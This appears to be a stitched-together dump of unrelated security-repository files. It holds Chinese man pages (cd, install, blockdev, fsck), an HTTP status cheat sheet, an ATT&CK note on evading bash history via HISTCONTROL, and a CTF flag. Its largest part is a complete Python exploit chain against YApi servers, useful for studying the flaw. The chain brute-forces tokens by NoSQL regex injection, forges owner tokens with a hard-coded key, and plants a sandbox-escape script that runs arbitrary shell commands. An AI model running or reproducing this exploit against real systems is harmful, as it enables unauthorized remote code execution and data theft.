MCL{li7tl3_5P3c1al_S3crET_Ag3n7_'\'m3n'\'}
```
|
sec-knowleage
|
# T1562-003-linux-Histcontrol
## 来自ATT&CK的描述
在HISTCONTROL环境变量决定了是否保存history命令,并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以空格开头的命令,只需将其设置为“ignorespace”即可。HISTCONTROL也可以设置为忽略重复命令,其使用方法是将其设置为“ignoredups”。在某些Linux系统中,默认设置为“ignoreboth”,它涵盖了前面的两个示例。这意味着“ls”将不会被保存,但“ls”将被历史保存。HISTCONTROL默认情况下在macOS上不存在,但可以由用户设置并且将受到保护。攻击者可以通过简单的在其所有终端命令之前添加空格来使用它进行操作操作而不留下痕迹。
## 测试案例
export HISTCONTROL=ignoreboth
## 检测日志
bash历史记录
## 测试复现
```bash
icbc@icbc:/$ ls
icbc@icbc:/$ history
1 ls
icbc@icbc:/$ export HISTCONTROL=ignoreboth
icbc@icbc:/$ ls
```
## 测试留痕
```bash
icbc@icbc:/$ history
1 ls
2 export HISTCONTROL=ignoreboth
3 history
```
## 检测规则/思路
### splunk规则
index=linux sourcetype="bash_history" export HISTCONTROL | table host, user_name, bash_command
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1562-003
<https://attack.mitre.org/techniques/T1562/003/>
linux history命令详解
<https://www.cnblogs.com/keithtt/p/7040549.html>
|
sec-knowleage
|
cd
===
切换用户当前工作目录。
## 概要
```shell
cd [-L|[-P [-e]]] [dir]
```
## 主要用途
- 切换工作目录至`dir`。其中`dir`的表示法可以是绝对路径或相对路径。
- 若参数`dir`省略,则默认为使用者的shell变量`HOME`。
- 如果`dir`指定为`~`时表示为使用者的shell变量`HOME`,`.`表示当前目录,`..`表示当前目录的上一级目录。
- 环境变量`CDPATH`是由冒号分割的一到多个目录,你可以将常去的目录的上一级加入到`CDPATH`以便方便访问它们;如果`dir`以`/`开头那么`CDPATH`不会被使用。
- 当`shopt`选项`cdable_vars`打开时,如果`dir`在`CDPATH`及当前目录下均不存在,那么会把它当作变量,读取它的值作为要进入的目录。
## 参数
dir(可选):指定要切换到的目录。
## 选项
```shell
-L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。
-P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。
- 当前工作目录将被切换到环境变量OLDPWD所表示的目录,也就是前一个工作目录。
```
## 返回值
返回状态为成功除非无法进入指定的目录。
## 例子
```shell
cd # 进入用户主目录;
cd / # 进入根目录
cd ~ # 进入用户主目录;
cd .. # 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思);
cd ../.. # 返回上两级目录;
cd !$ # 把上个命令的参数作为cd参数使用。
```
关于切换到上一个工作目录的说明
```shell
cd -
# 命令会首先显示要切换到的目标目录,然后再进入。
cd ${OLDPWD}
# 命令会直接切换到上一个工作目录。
```
关于`CDPATH`
```shell
# 设置桌面文件夹作为CDPATH的值。
CDPATH='~/Desktop'
# 假设我们接下来要演示涉及到的路径~和~/Desktop下没有test3文件夹,现在新建它们。
mkdir ~/test3
mkdir ~/Desktop/test3
# 进入~目录。
cd ~
# 进入test3目录。
cd test3
# 执行后显示~/Desktop/test3并进入该目录,而不是~目录的test3目录。
# 如果CDPATH存在值,那么优先在CDPATH中查找并进入第一个匹配成功的,如果全部失败那么最后尝试当前目录。
```
关于`cdable_vars`
```shell
# 打开选项。
shopt -s cdable_vars
# 假设当前路径以及CDPATH没有名为new_var的目录。
new_var='~/Desktop'
# 尝试进入。
cd new_var
# 关闭选项。
shopt -u cdable_vars
```
### 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
2. 建议您在编写脚本的过程中如有必要使用`cd`命令时,请增加必要的注释以用于提醒阅读者当前工作目录,以免出现诸如`找不到文件`这类问题的发生。
|
sec-knowleage
|
package com.vulhub.authzvuln;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
import org.springframework.context.annotation.ComponentScan;
@ComponentScan(basePackages = {"com.vulhub.authzvuln"})
public class ServletInit extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(App.class);
}
}
|
sec-knowleage
|
from library import *
import sys
with open(sys.argv[1], "w") as f:
for i in range(int(sys.argv[2])):
save_sample(f, chr(int(sys.argv[3], 0))*16)
|
sec-knowleage
|
---
title: HTTP Status Code
background: bg-[#3b7dc0]
date: 2020-12-26 16:09:09
tags:
- response
- server
categories:
- Other
intro: |
The http status codes cheat sheet. a quick reference to every HTTP status code.
plugins:
- tooltip
---
HTTP Status code
-----------
### Means
- [1xx: Informational](#1xx-information){data-tooltip="It means the request has been received and the process is continuing."}
- [2xx: Success](#2xx-successful){data-tooltip="It means the action was successfully received, understood, and accepted."}
- [3xx: Redirection](#3xx-redirection){data-tooltip="It means further action must be taken in order to complete the request."}
- [4xx: Client Error](#4xx-client-error){data-tooltip="It means the request contains incorrect syntax or cannot be fulfilled."}
- [5xx: Server Error](#5xx-server-error){data-tooltip="It means the server failed to fulfill an apparently valid request."}
### 2xx. Successful {.row-span-2}
* [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1){data-tooltip="The request is OK."}
* [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2){data-tooltip="The request is complete, and a new resource is created ."}
* [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3){data-tooltip="The request is accepted for processing, but the processing is not complete."}
* [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4){data-tooltip="The information in the entity header is from a local or third-party copy, not from the original server."}
* [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5){data-tooltip="A status code and a header are given in the response, but there is no entity-body in the reply."}
* [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6){data-tooltip="The browser should clear the form used for this transaction for additional input."}
* [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1){data-tooltip="The server is returning partial data of the size requested. Used in response to a request specifying a Range header. The server must specify the range included in the response with the Content-Range header."}
### 4xx. Client Error {.row-span-3}
* [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1){data-tooltip="The server did not understand the request."}
* [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1){data-tooltip="The requested page needs a username and a password."}
* [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2){data-tooltip="You can not use this code yet."}
* [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3){data-tooltip="Access is forbidden to the requested page."}
* [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4){data-tooltip="The server can not find the requested page."}
* [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5){data-tooltip="The method specified in the request is not allowed."}
* [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6){data-tooltip="The server can only generate a response that is not accepted by the client."}
* [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2){data-tooltip="You must authenticate with a proxy server before this request can be served."}
* [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7){data-tooltip="The request took longer than the server was prepared to wait."}
* [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8){data-tooltip="The request could not be completed because of a conflict."}
* [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9){data-tooltip="The requested page is no longer available ."}
* [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10){data-tooltip="The "Content-Length" is not defined. The server will not accept the request without it ."}
* [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2){data-tooltip="The pre condition given in the request evaluated to false by the server."}
* [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11){data-tooltip="The server will not accept the request, because the request entity is too large."}
* [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12){data-tooltip="The server will not accept the request, because the url is too long. Occurs when you convert a "post" request to a "get" request with a long query information ."}
* [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13){data-tooltip="The server will not accept the request, because the mediatype is not supported ."}
* [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4){data-tooltip="The requested byte range is not available and is out of bounds."}
* [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14){data-tooltip="The expectation given in an Expect request-header field could not be met by this server."}
* [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15){data-tooltip="The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol."}
* [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3){data-tooltip="This status code indicates that the server is denying access to the resource as a consequence of a legal demand."}
### 1xx. Information
* [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1){data-tooltip="Only a part of the request has been received by the server, but as long as it has not been rejected, the client should continue with the request."}
* [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2){data-tooltip="The server switches protocol."}
* [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1){data-tooltip="An interim response used to inform the client that the server has accepted the complete request, but has not yet completed it."}
### 3xx. Redirection
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1){data-tooltip="A link list. The user can select a link and go to that location. Maximum five addresses ."}
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2){data-tooltip="The requested page has moved to a new url ."}
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3){data-tooltip="The requested page has moved temporarily to a new url ."}
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4){data-tooltip="The requested page can be found under a different url ."}
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1){data-tooltip="This is the response code to an If-Modified-Since or If-None-Match header, where the URL has not been modified since the specified date."}
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5){data-tooltip="The requested URL must be accessed through the proxy mentioned in the Location header."}
* [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6){data-tooltip="This code was used in a previous version. It is no longer used, but the code is reserved."}
* [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7){data-tooltip="The requested page has moved temporarily to a new url."}
### 5xx. Server Error
* [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1){data-tooltip="The request was not completed. The server met an unexpected condition."}
* [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2){data-tooltip="The request was not completed. The server did not support the functionality required."}
* [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3){data-tooltip="The request was not completed. The server received an invalid response from the upstream server."}
* [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4){data-tooltip="The request was not completed. The server is temporarily overloading or down."}
* [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5){data-tooltip="The gateway has timed out."}
* [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6){data-tooltip="The server does not support the "http protocol" version."}
|
sec-knowleage
|
.\" -*- nroff -*-
.\" Copyright 1998 Andries E. Brouwer (aeb@cwi.nl)
.\"
.\" May be distributed under the GNU General Public License
.TH BLOCKDEV 8 "May 2000" ""
.SH NAME
blockdev \- 从命令行调用区块设备控制程序
.SH 总览(SYNOPSIS)
.B blockdev
.RI [ options ]
.I commands devices
.SH 描述(DESCRIPTION)
.B blockdev
工具允许从命令行调用区块设备控制程序。
.SH 选项(OPTIONS)
.TP
.B \-V
打印版本信息并退出。
.TP
.B \-q
安静。
.TP
.B \-v
详细信息。
.SH 命令(COMMANDS)
.TP
.B \--setro
设置只读模式。
.TP
.B \--setrw
设置读写模式。
.TP
.B \--getro
只读模式检测。如果是只读模式,显示1,否则显示0。
.TP
.B \--getss
用字节为单位打印扇区大小——一般是512字节。
.TP
.B \--getsize
显示设备容量(使用512个字节大小的扇区为单位)
.TP
.BI \--setra " N"
设置预读扇区(512字节)为
.I N
个。
.TP
.B \--getra
打印预读扇区(512字节)
.TP
.B \--flushbufs
刷新缓存。
.TP
.B \--rereadpt
重读分区表。
.SH "[中文版维护人]"
.B billpan <billpan@netease.com>
.SH "[中文版最新更新]"
.BR 2002/01/10
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
install
===
安装或升级软件或备份数据
## 补充说明
**install命令** 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。
### 语法
```shell
install [OPTION]... [-T] SOURCE DEST
install [OPTION]... SOURCE... DIRECTORY
install [OPTION]... -t DIRECTORY SOURCE...
install [OPTION]... -d DIRECTORY...
```
在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。
### 选项
```shell
--backup[=CONTROL]:为每个已存在的目的地文件进行备份。
-b:类似 --backup,但不接受任何参数。
-c:(此选项不作处理)。
-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。
-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中有用。
-g,--group=组:自行设定所属组,而不是进程目前的所属组。
-m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。
-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。
-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。
-s,--strip:用strip命令删除symbol table,只适用于第一及第二种使用格式。
-S,--suffix=后缀:自行指定备份文件的<后缀>。
-v,--verbose:处理每个文件/目录时印出名称。
--help:显示此帮助信息并离开。
--version:显示版本信息并离开。
```
### 实例
```shell
install -d [option] DIRECTORY [DIRECTORY...]
```
支持多个,类似`mkdir -p`支持递归。例如:`install -d a/b/c e/f`结果和`mkdir -p a/b/c e/f`一样。
```shell
install [option] SOURCE DEST
```
**复制SOURCE文件(测试不能是目录)到DEST file(文件):**
```shell
install a/e c
结果类似:
cp a/e c #注意c必须是文件。
```
**有用选项`-D`:**
```shell
install -D x a/b/c
效果类似:
mkdir -p a/b && cp x a/b/c
```
```shell
install [option] SOURCE [SOURCE...] DIRECTORY
```
**复制多个SOURCE文件到目的目录:**
```shell
install a/* d
```
其中d是目录。
|
sec-knowleage
|
import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin
logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''
def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''
while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()
i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n
if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)
def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()
def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()
def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
res = response.json()
if res['errcode'] == 400:
current = guess
break
logger.debug(f'current cuess: {current}')
return current[1:]
def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i
return None
def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid
response = requests.get(url,
params=params,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if data['errcode'] == 0:
return data['data']
def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')
for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if 'message' not in data:
continue
if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass
def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')
command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0
def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')
response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None
def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0
@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')
@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))
@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))
@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break
click.echo(f'find a valid token: {token}')
already.append(token)
@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')
@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')
@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')
@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False
old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False
output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True
clear_project(url, token, project_id, old_after_script)
return False
@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break
already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue
etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue
project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)
for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')
if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return
if __name__ == '__main__':
cli()
|
sec-knowleage
|
.\" -*- nroff -*-
.\" Copyright 1993, 1994, 1995 by Theodore Ts'o. All Rights Reserved.
.\" This file may be copied under the terms of the GNU Public License.
.\"
.TH FSCK 8 "July 2003" "E2fsprogs version 1.34"
.SH NAME
fsck \- 检查并修复Linux文件系统
.SH 总览 SYNOPSIS
.B fsck
[
.B \-sACVRTNP
]
[
.B \-t
.I fstype
]
.I [filesys ... ]
[\-\-] [
.B fs-specific-options
]
.SH 描述 DESCRIPTION
.B fsck
通常用来检查并适当修复一个或多个Linux文件系统.
.I filesys
可以是一个设备名(例如:
.IR /dev/hdc1 ", " /dev/sdb2 ),
一个挂载点(例如:
.IR / ", " /usr ", " /home ),
或一个ext2文件系统的磁盘标签, 也可以是UUID指定符(例如:
UUID=8868abf6-88c5-4a83-98b8-bfc24057f7bd 或 LABEL=root).
通常,
.B fsck
会试着以并行的方式同时在不同的物理磁盘上运行文件系统检查,这样可以减少对所有文件系统进行检查的时间。
.PP
如果没有在命令行指定文件系统,并且没有指定
.B \-A
选项,
.B fsck
将默认顺序地检查
.B /etc/fstab
中登记的文件系统。这和使用
.B \-As
选项是相同的。
.PP
.B fsck
退出的返回值是下列情况之和:
.br
\ 0\ \-\ 没有错误
.br
\ 1\ \-\ 文件系统有错但已修复
.br
\ 2\ \-\ 系统应当重启
.br
\ 4\ \-\ 文件系统错误没有修复
.br
\ 8\ \-\ 运行错误
.br
\ 16\ \-\ 用法或语法错误
.br
\ 32\ \-\ 用户撤销了fsck 操作
.br
\ 128\ \-\ 共享库出错
.br
当检测多个文件系统时,退出的返回值是对每个文件系统检查的返回值按位或的结果。
.PP
实际上,
.B fsck
只是Linux 中不同的文件系统检查器(\fBfsck\fR.\fIfstype\fR)的一个前端。首先,它在
.I /sbin
中搜索特定文件系统的检查器,然后在
.I /etc/fs
和
.IR /etc
中搜索,最后在 PATH 环境变量中列出的路径中搜索。请查看特定文件系统的检查器的手册页来获取细节信息。
.SH 选项 OPTIONS
.TP
.B \-s
顺序地进行
.B fsck
操作。如果你要检查多个文件系统,并且检查器运行在交互模式,这样作比较有好处。(注意:
.BR e2fsck (8)
默认是以交互方式运行的。要使
.BR e2fsck (8)
以非交互方式运行,你必须指定
.B \-p
和
.B \-a
选项,如果你想要自动纠正错误,或
.B \-n
选项,如果不想自动纠正错误。)
.TP
.BI \-t " fslist"
指定要检查的文件系统的类型。当指定了
.B \-A
标志时,只有
.I fslist
中列出的类型的文件系统会被检查。
.I fslist
参数是一个以逗号分隔的文件系统类型列表以及选项说明符。可以在这个以逗号分隔的列表的所有文件系统前面加上否定前缀
.RB ' no '
或
.RB ' ! '
来使得只有没有列在
.I fslist
中的文件系统将被检查。如果并非
.I fslist
中列出的所有文件系统都加上了否定前缀,那么只有
.I fslist
中列出的文件系统将被检查。
.sp
选项说明符也可能包含在这个以逗号分隔的列表
.IR fslist
中。它们的格式是
.BI opts= fs-option\fR
。如果出现了选项说明符,那么只有在
.B /etc/fstab
中它们的挂载选项字段中不包含
.I fs-option
的文件系统将被检查。
如果选项说明符有否定前缀,那么只有在
.B /etc/fstab
中它们的挂载选项字段中包含
.I fs-option
的文件系统将被检查。
.sp
例如,如果
.IR fslist
中出现了
.B opts=ro
那么只有
.B /etc/fstab
中,挂载选项包含
.B ro
的文件系统将被检查。
.sp
为了和Mandrake 发行版兼容(它的启动脚本依赖于一个未经许可而对
.B fsck
程序用户接口作出的改变),如果
.IR fslist
中有一个
.B loop
文件系统,它被视为指定了
.B opts=loop
作为
.B \-t
选项的参数。
.sp
一般地,文件系统类型是在
.I /etc/fstab
中通过搜索与
.I filesys
相应的条目得到的。如果不能这样推知类型,并且
.B \-t
选项只有一个文件系统参数,
.B fsck
将使用指定的文件系统类型。如果不能使用这种类型,将使用默认的文件系统类型(当前是ext2)。
.TP
.B \-A
搜索
.I /etc/fstab
文件,一次检查所有在文件中有定义的文件系统。这个选项典型地用在
.I /etc/rc
系统初始化文件中,而不使用多条命令来分别检查各独立的分区。
.sp
如果没有使用
.B \-P
选项,则根文件系统将第一个被检查。之后,将按
.I /etc/fstab
文件中第六字段
.I fs_passno
指定的顺序对各文件系统进行检查。
.I fs_passno
值为0 的文件系统将被跳过,不会被检查。
.I fs_passno
值大于0 的文件系统将被按顺序检查,
.I fs_passno 值最小的文件系统将被最先检查。
如果多个文件系统有相同的pass号,fsck将试着并行处理这些文件系统,尽管它不允许在同一个物理磁盘上同时运行多个文件系统检查程序。
.sp
因此,
.I /etc/fstab
文件中的一个很普遍的设置是将root文件系统的
.I fs_passno
设为1,定义其它文件系统的
.I fs_passno
为2。这样就充许
.B fsck
程序自动以并行的方式运行文件系统检查, 如果这样有好处的话。系统管理员可能会出于某些原因而不希望并行运行多个文件系统检查--例如,如果内存不够,那么过多的换页会成为系统瓶颈。
.TP
.B \-C
如果文件系统检查器支持的话(当前只有ext2),显示进度条。fsck 将管理各文件系统检查器,使得同一时间它们中只能有一个可以显示进度条。
.TP
.B \-N
不执行,仅仅显示将执行的操作。
.TP
.B \-P
当设置了
.B \-A
标志时,将并行检查root文件系统和其他文件系统。这样是世界上最不安全的做法,因为如果root文件系统有问题,
.BR e2fsck (8)
这样的程序可执行文件将被破坏!这个选项是为不想把root 文件系统分得小而紧凑(这才是正确的做法)的系统管理员准备的。
.TP
.B \-R
当使用
.B \-A
标志来检查所有文件系统时,跳过root文件系统 (它可能已经被挂载为可读写)。
.TP
.B \-T
启动时不显示标题。
.TP
.B \-V
产生冗余输出,包含所有被执行的特定文件系统的命令。
.TP
.B fs-specific-options
.B fsck
不理解的选项被传递给特定文件系统的检查器。这些选项
.B 决不能
有参数,因为
.B fsck
不能判断出哪个选项有参数,那些没有。
.IP
以
.B \-\-
引导的选项和参数将被当作特定文件系统的选项传给它的检查器。
.IP
注意 fsck 没有为传递任意复杂的选项给特定文件系统的检查器而专门设计。如果你要做复杂的操作,请直接执行特定文件系统的检查器。如果你传给
.B fsck
极其复杂的选项和参数,它没有按照你想要的那样工作,
.B 不要把它报告为一个bug!
You're almost certainly doing something that you shouldn't be doing with
.BR fsck.
.PP
当前,标准的特定文件系统的选项仍在改进之中。尽管不能保证,还是有下列这些选项可以被大部分文件系统检查器所支持。
.TP
.B \-a
不提问,自动修复文件系统(请小心使用此选项)。注意
.BR e2fsck (8)
支持
.B \-a
仅仅是为了向前兼容。这个选项被映射到
.BR e2fsck
的
.B \-p
选项,那比较安全一点,不像大多数文件系统检查器支持的
.B \-a
那样。
.TP
.B \-r
交互式地修复文件系统错误(询问确认)。注意: 如果多个 fsck 在并行执行,这不是一个好想法。还要注意
.BR e2fsck
的默认行为;它也只为了向前兼容才保留这个选项。
.SH 作者 AUTHOR
Theodore Ts'o (tytso@mit.edu)
.SH 文件 FILES
.IR /etc/fstab
.SH 环境变量 ENVIRONMENT VARIABLES
.B fsck
程序的行为受下列环境变量影响:
.TP
.B FSCK_FORCE_ALL_PARALLEL
如果设置了这个环境变量,
.B fsck
